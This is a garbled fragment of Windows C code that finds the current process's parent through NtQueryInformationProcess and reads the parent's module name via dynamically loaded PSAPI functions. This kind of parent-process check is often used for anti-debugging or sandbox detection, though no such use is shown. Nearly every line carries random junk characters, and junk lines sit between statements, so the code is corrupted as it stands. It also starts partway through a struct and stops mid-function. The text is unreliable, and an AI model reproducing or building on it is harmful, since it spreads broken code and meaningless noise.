ULONG UniqueProcessId;
I?<5
%
ULONG InheritedFromUniqueProcessId; GTgG0Ifeh
} PROCESS_BASIC_INFORMATION; OHTJQ5%zL
JVy- Y
PROCNTQSIP NtQueryInformationProcess; ~\B1\ G
DyhW_PH2J
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !~#zH0#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t@m!k+0
OMgFp |^
HANDLE hProcess; YflM*F`
PROCESS_BASIC_INFORMATION pbi; #X1iig+
9f1,E98w_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); olda't
if(NULL == hInst ) return 0; ,/*L|M/&5
*i3\`;^=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xvn@zi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j]Y`L?!Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 82d~>i%T
pbc<326X"
if (!NtQueryInformationProcess) return 0; hilgl<UF
c~ x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jiw5>RNt
if(!hProcess) return 0; moz*=a
!(2rU @.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sa6/$
'&v.h#<
CloseHandle(hProcess); ~gZ"8frl
($s%5|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); noI>Fw<V
if(hProcess==NULL) return 0; 'y_<O |-
s9^r[l@W0U
HMODULE hMod; Ix~_.&
char procName[255]; %?
87#|
unsigned long cbNeeded; ,,
S]_S
fib#)KE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d!>.$|b
8);G'7O
CloseHandle(hProcess); l5;
SY
TQhu$z<